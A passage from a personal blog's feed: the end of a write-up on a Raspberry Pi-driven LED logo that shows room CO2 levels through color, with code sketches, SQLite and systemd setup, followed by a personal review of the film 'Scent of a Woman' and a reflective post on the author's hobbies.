The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

+

There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

+
+

5) The Color Language for Air

+

The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

+
    +
  • < 500 ppm: Cyan — outdoor‑like fresh air.
  • +
  • 500–799: Green — good.
  • +
  • 800–1199: Yellow — getting stale.
  • +
  • 1200–1499: Orange — poor; you’ll feel it.
  • +
  • 1500–1999: Red — ventilate now.
  • +
  • ≥ 2000: Purple — the logo is politely yelling.
  • +
+

I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

+

By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

+
+

6) The Code — a guided tour (no giant blob, promise)

+

This whole project runs from a single Python file. Think of it like a tiny orchestra:
+one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

+

Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

+
+

6.1 Configuration (the knobs)

+

Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

+
LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
+SCHEDULE_PATH="schedule.json"
+DB_PATH="sensor.db"
+SAFE_MODE=True  # hide flashy animations by default
+

Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

+
+

6.2 Strip setup + frame-diff (no flicker magic)

+

Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

+
frame = [(0,0,0)] * LED_COUNT
+_dirty = False
+
+def _set_pixel(i, r, g, b):
+  # only touch hardware if the value actually changed
+  if frame[i] != (r,g,b):
+    strip.setPixelColorRGB(i, r, g, b)
+    frame[i] = (r,g,b)
+    global _dirty; _dirty = True
+
+def flush():
+  if _dirty: strip.show(); _dirty=False
+

Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

+
+

6.3 A tiny color wheel helper

+

Classic rainbow helper used by a few animations:

+
def wheel(pos):
+  # 0..255 → (r,g,b)
+  ...
+

Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

+
+

6.4 State & orchestration

+

Let’s hold a registry of animations, a stop flag, and the currently playing thread.

+
animations = {}
+stop_event = threading.Event()
+current_thread = None
+
+def register(name, safe=True):
+  def wrap(fn):
+    animations[name] = {"fn": fn, "safe": safe}
+    return fn
+  return wrap
+
+def run_animation(fn):
+  # cooperative hand-off: stop current, start next
+  if current_thread and current_thread.is_alive():
+    stop_event.set(); current_thread.join()
+  stop_event.clear()
+  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
+  t.start(); globals()["current_thread"] = t
+

Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

+
+

6.5 Animations (the mood)

+

Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

+
    +
  • redpulse — calm breathing in red; great default.
  • +
  • colorwave — slow rainbow that reads clearly behind diffusers.
  • +
  • comet — a single head with a fading tail orbiting the logo.
  • +
+

They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

+

Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

+
+

6.6 CO₂ color language (with smoothing + hysteresis)

+

The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

+
    +
  • < 500: Cyan (fresh)
  • +
  • 500–799: Green
  • +
  • 800–1199: Yellow
  • +
  • 1200–1499: Orange
  • +
  • 1500–1999: Red
  • +
  • ≥ 2000: Purple
  • +
+
BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
+EMA_ALPHA=0.15; HYST=35
+
+# Every tick:
+ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
+band = hysteresis_aware_band(ema, last_band, HYST)
+target = BANDS[band].color
+current = lerp(current, target, 0.10)   # gentle hue easing
+level   = breathe(0.25 Hz, low=10, high=220)
+draw all pixels = current * level
+

Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

+
+

6.7 Optional SCD41 sensor thread (the polite listener)

+

If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

+
def _start_sensor():
+  try:
+    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
+  except: return  # sensor optional
+  def loop():
+    while True:
+      time.sleep(5)
+      if scd4x.data_ready:
+        co2_data.update({...})
+        db.insert(timestamp, co2, temperature, humidity)
+  threading.Thread(target=loop, daemon=True).start()
+

Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

+
+

6.8 Scheduler + 90-minute override (humans win, then reset)

+

A background thread asks, every few seconds, which mode should be running:

+
    +
  1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
  2. +
  3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
  4. +
  5. Save/load the schedule atomically to schedule.json.
  6. +
+
def scheduler_pick():
+  if now < override_until: return override_mode
+  for row in load_schedule():
+    if matches(now, row): return row["mode"]
+  return "redpulse"
+

Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

+
+

6.9 The web panel (tiny Flask, big buttons)

+

Three pages, no fuss:

+
    +
  • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
  • +
  • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
  • +
  • /schedule — simple table editor; Add Row and Save; writes atomically.
  • +
+
@app.post("/set")
+def set_mode():
+  mode = request.form["mode"]
+  minutes = clamp( int(form["duration"]), 0, 180 )
+  set_override(mode, minutes)
+  run_animation(animations[mode]["fn"])
+  return redirect("/control")
+

Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

+
+

6.10 Boot choreography

+

At startup I:

+
    +
  1. Try the sensor thread (if hardware is there).
  2. +
  3. Start the scheduler thread.
  4. +
  5. Immediately play redpulse (so there’s a friendly glow right away).
  6. +
  7. Start Flask; on shutdown I clear the strip.
  8. +
+
if __name__ == "__main__":
+  _start_sensor()
+  threading.Thread(target=scheduler_loop, daemon=True).start()
+  run_animation(redpulse)
+  app.run(host="0.0.0.0", port=5000)
+

Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

+
+

TL;DR (but keep the vibes)

+
    +
  • Frame-diff = no flashes.
  • +
  • EMA + hysteresis = smooth, truthful color.
  • +
  • Breathing = presence, not signage.
  • +
  • Threads per thing (LEDs / sensor / scheduler) = no fights.
  • +
  • Atomic files = no corrupted schedules.
  • +
  • Safe Mode by default = people > pixels.
  • +
+

That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

+

Why this shape of code?

+
    +
  • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
  • +
  • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
  • +
  • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
  • +
+
+

No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

+
+

7) Sensor Database — what it stores, where it lives, and how far it goes

+

This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

+

What’s stored

+

A single table called readings:

+
CREATE TABLE IF NOT EXISTS readings (
+  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
+  co2         INTEGER,            -- ppm
+  temperature REAL,               -- °C
+  humidity    REAL                -- %
+);
+
    +
  • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
  • +
  • timestamp is the primary key → easy “latest” queries and natural time ordering.
  • +
+

Where the file lives

+
    +
  • Path is configurable via env var DB_PATH (see your systemd unit).
  • +
  • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
  • +
+

Check size:

+
ls -lh /home/pi/inet-led/sensor.db
+

How writes happen (and why it’s safe)

+
    +
  • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
  • +
  • Inserts are short and journaling protects against power loss.
  • +
  • For friendlier read/write concurrency, enable WAL once at startup:
  • +
+
PRAGMA journal_mode = WAL;
+PRAGMA synchronous = NORMAL;
+

Typical size & retention

+

Back-of-envelope:

+
    +
  • ~100–200 bytes per row (including overhead).
  • +
  • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
  • +
  • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
  • +
+

Prune old data (keep last 90 days):

+
DELETE FROM readings
+WHERE timestamp < date('now','-90 day');
+

(Optionally run VACUUM; after large deletes to reclaim file space.)

+

Useful queries

+

Latest reading:

+
SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
+

Range for charts (last 7 days):

+
SELECT * FROM readings
+WHERE timestamp >= datetime('now','-7 day')
+ORDER BY timestamp;
+

Downsample to hourly averages (30 days):

+
SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
+       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
+FROM readings
+WHERE timestamp >= datetime('now','-30 day')
+GROUP BY hour
+ORDER BY hour;
+

Export to CSV (example via sqlite3 CLI):

+
sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
+.headers on
+.mode csv
+.output /home/pi/inet-led/export_readings.csv
+SELECT * FROM readings ORDER BY timestamp;
+.output stdout
+SQL
+

SD card friendliness

+
    +
  • Choose a sensible interval (e.g., 30–60 s).
  • +
  • Optionally buffer in memory and write every N samples.
  • +
  • Prefer WAL mode; periodically prune & vacuum.
  • +
  • If you care about card wear, place the DB on USB/SSD.
  • +
+

Backups & restore

+

Nightly backup (simple):

+
sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
+

Restore:

+
    +
  1. sudo systemctl stop inet-led
  2. +
  3. Copy backup file back to /home/pi/inet-led/sensor.db
  4. +
  5. sudo systemctl start inet-led
  6. +
+

Security & permissions

+
chown pi:pi /home/pi/inet-led/sensor.db
+chmod 600 /home/pi/inet-led/sensor.db
+

Keep the app directory non-world-readable.

+

Is SQLite the right choice?

+

Yes, for a single Pi logging every few seconds and rendering local charts:

+
    +
  • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
  • +
  • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
  • +
  • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
  • +
+

TL;DR

+

SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

+
+

8) Run at Boot (systemd)

+

I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

+
[Unit]
+Description=INET LED Panel
+After=network.target
+
+[Service]
+ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
+WorkingDirectory=/home/pi/inet-led
+Restart=always
+User=pi
+Environment=LED_COUNT=78
+Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
+Environment=DB_PATH=/home/pi/inet-led/sensor.db
+
+[Install]
+WantedBy=multi-user.target
+

Then you can run:

+
sudo systemctl daemon-reload
+sudo systemctl enable --now inet-led
+journalctl -u inet-led -f
+

to control the systemd service.

+
+

9) Soldering Notes (a love letter to hot glue)

+
    +
  • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
  • +
  • Stagger joints so nothing stacks under the diffuser.
  • +
  • Heat‑shrink + a dot of hot glue = happier future you.
  • +
  • Continuity before power. Multimeter first, electrons last.
  • +
  • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
  • +
+

Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

+
+

10) Why these design choices?

+
    +
  • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
  • +
  • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
  • +
  • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
  • +
  • Safe Mode default. People first. Demos are opt‑in.
  • +
  • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
  • +
+
+

11) What I learned

+
    +
  • A logo is a better messenger than a dashboard.
  • +
  • Everyone knows what orange means without a legend.
  • +
  • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
  • +
  • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
  • +
+
+

12) Final notes

+

I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

+

There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

+

The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
+jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
+0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
+CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
+k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
+U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
+sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
+sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
+QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
+B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
+Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
+o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
+=tAeg
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md
+curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md.asc
+gpg --verify inet_logo.md.asc inet_logo.md
+  
+
+ + +]]>
Movie review: Scent of a Womanhttps://blog.alipour.eu/posts/scent_of_a_woman/Mon, 13 Oct 2025 08:52:10 +0000https://blog.alipour.eu/posts/scent_of_a_woman/My reaction to the movie as a not so pro movie watcherI’m not a big movie watcher. +In fact, I don’t remember the last time I watched a whole movie in a single day. +It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.

+

Few points before I begin.

+
    +
  • This was aside from the therapy session.
  • +
  • My therapist does not tell me what to do, or if I’m wrong or right or anything like that.
  • +
  • I watched this movie in about two parts in a single day!
  • +
  • I knew Al Pacino’s face from Godfather series, but didn’t know his name.
  • +
  • I’m not a big movie person, so whatever I say should be taken with a grain of salt. Just don’t be offended, take it face up and as is.
  • +
+

The movie is about a good young student named Chris O’Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.

+

The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.

+

Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn’t really there for him.

+

When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees.

+

Upon Karen’s leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this.

+

He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.

+

Frank is in love with Jack Daniel’s and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed.

+

Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn’t want to snitch, but frank learns about this, he encourages him to take the deal.

+

Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express!

+

In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn’t even recognize Frank was blind!!!!

+

After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris’s parent.

+

Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father’s back was.

+

In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.

+

The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.

+

That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?

+

Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I’m also getting a lot back while making some sacrifices.

+

Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman?

+

I honestly do not know. +I just know that watching the movie gave me good feelings. +That I’m a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I’m on the right track, but still need time to figure out the way. +That I shouldn’t worry too much. +That I should look at everything as a way to have “fun”. +That I shouldn’t overthink things. +That if I mess up, oh well, I should take the responsibility and move on.

+

I don’t know what the intention of my therapist was, but I’m so curious! +I want to figure it out. :) +Fell free to cross your fingers for me!

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
+jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q
+m6IiKs5GoxJFgNEyfNSjjBNj+NeqxgmYqlephJtf5ubTW+IuSMkinSyvVwkKrxAX
+QA+1Imf7/4QTyUB6/L+19jk+1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj
+OAProXMLAaCpasabz8+kQBQsul12h0cjG7A+TSaTgaM+WnE8RuC6C0KV//YeUfvN
+DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ
+Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5
+wVNf/2vL14Ef4kfMWg8POj1WrgZc+pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd
+GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf
+VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS+BpKKG5wi7mFopvUFuZoPbHdmK2856P
+e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R
+57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU=
+=/VjG
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/scent_of_a_woman.md
+curl -fSLO https://blog.alipour.eu/sources/posts/scent_of_a_woman.md.asc
+gpg --verify scent_of_a_woman.md.asc scent_of_a_woman.md
+  
+
+ + +]]>
Hobbieshttps://blog.alipour.eu/posts/hobbies/Fri, 10 Oct 2025 07:04:54 +0000https://blog.alipour.eu/posts/hobbies/My point of view on hobbiesWhen I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies.

+

For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.

+

Let’s go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end.

+

After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take “active” sport classes. +So… getting into a chess class was conditional.

+

I have’t really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.

+

In high-school I didn’t really have any hobbies. +I did become interested in Basketball, but nothing serious. +It’s funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame.

+

Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called “Karsoogh” for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don’t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active.

+

I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman’s obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research.

+

During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don’t have any images from the project, but the code can be found here.

+

I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don’t go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby!

+

After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it’s the story of my PhD pretty much now.

+

Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn’t pursue it. +I actaully wanted to learn Violine, but the consultant we talked to said “if you’re not a hard worker it won’t workout for you”, and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It’s just distroying me mentally. +I am me, and the best me ever to exist. +And that’s how it should be.

+

Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited.

+

Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don’t like to play it with me because I pay attention to “everything”. +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don’t get to play! :-P +One of my all time favorite games is “Zaar” (a persian game that was discontinued), and a game kinda similar to it called “The Night Cage”. +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool.

+

Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I’m a loner! (Drat. :P) +I love to “not follow recipes” and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I’m open to cooking anything and everything!

+

I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I’m alone, I rather do my other hobbies.

+

And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD

+

3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I’m quite a noob at it still. +I will probably share some of the things I’ve made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It’s so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It’s just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it’s part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!

+

